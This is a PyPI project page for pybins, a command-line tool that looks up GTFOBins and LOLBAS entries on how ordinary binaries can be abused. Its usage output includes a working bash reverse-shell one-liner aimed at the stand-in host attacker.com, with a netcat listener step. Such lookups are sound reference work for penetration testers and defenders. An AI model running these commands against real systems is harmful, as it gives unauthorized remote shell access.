pybins is an command line utily that gather gtfobins and lolbins data.
Project description
PyBins
PyBins is a command line utily that wraps the content of GTFOBins and LOLBAS
Instalation:
pip install pybins
Usage:
usage: pybins [-h] [-p PLATFORM] [-b BINARY] [-f FUNCTION]
PyBins Cmd Line wraper for GTFOBin and LOLBas
optional arguments:
-h, --help show this help message and exit
-p PLATFORM, --platform PLATFORM
Select the platform to lookup, Win/Windows or
Lin/Linux, case insensitive
-b BINARY, --binary BINARY
The binary to lookup
-f FUNCTION, --function FUNCTION
The function to lookup
Examples
List platform available binaries and functions/categories:
pybins -p win
pybins -p windows
pybins -p lin
pybins -p linux
List all linux binaries with reverse-shell function:
pybins -p lin -f reverse-shell
pybins -p linux -f reverse-shell
Output
The Function reverse-shell has the following binaries:
nc perl ksh rview cpan node telnet irb
python gdb pip bash view openssl gimp rvim
socat vim php jrunscript jjs ruby vimdiff easy_install
List all functions of the Linus binary bash
pybins -p lin -b bash
pybins -p linux -b bash
Output
The binary bash has the following categories:
shell reverse-shell file-upload file-download file-write file-read library-load
suid sudo
List all the commands for the binary bash and function reverse-shell on linux
pybins -p lin -b bash -f reverse-shell
pybins -p linux -b bash -f reverse-shell
Output
Description: Run `nc -l -p 12345` on the attacker box to receive the shell.
Command: export RHOST=attacker.com
export RPORT=12345
bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
pybins-1.0.1.tar.gz
(71.5 kB
view details)
Built Distribution
pybins-1.0.1-py3-none-any.whl
(137.5 kB
view details)
File details
Details for the file pybins-1.0.1.tar.gz
.
File metadata
- Download URL: pybins-1.0.1.tar.gz
- Upload date:
- Size: 71.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.4.1 importlib_metadata/4.0.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.7.3
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 34fb0a0e0691067f9dd604d5fb128e6348cf5055316dcdd642abdea17eff3b1f |
|
MD5 | c632748c171c2b30da77f8f9c14c3641 |
|
BLAKE2b-256 | b1a9f9fb2d972bfecaadc7198636780e988ae64f55afa1bc22268ca88fb1f7d5 |
File details
Details for the file pybins-1.0.1-py3-none-any.whl
.
File metadata
- Download URL: pybins-1.0.1-py3-none-any.whl
- Upload date:
- Size: 137.5 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.4.1 importlib_metadata/4.0.1 pkginfo/1.7.0 requests/2.25.1 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.7.3
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 6f06b397d56efdf95cb945e70df7cf7246c88bd080f3c671566e28b61b5494ea |
|
MD5 | 93d1697c3d75dc0744addf6bdfa4eb2f |
|
BLAKE2b-256 | d4bb4ff1861ab51e0545183c063447f9dba315920e2035c9d29193589fd6e542 |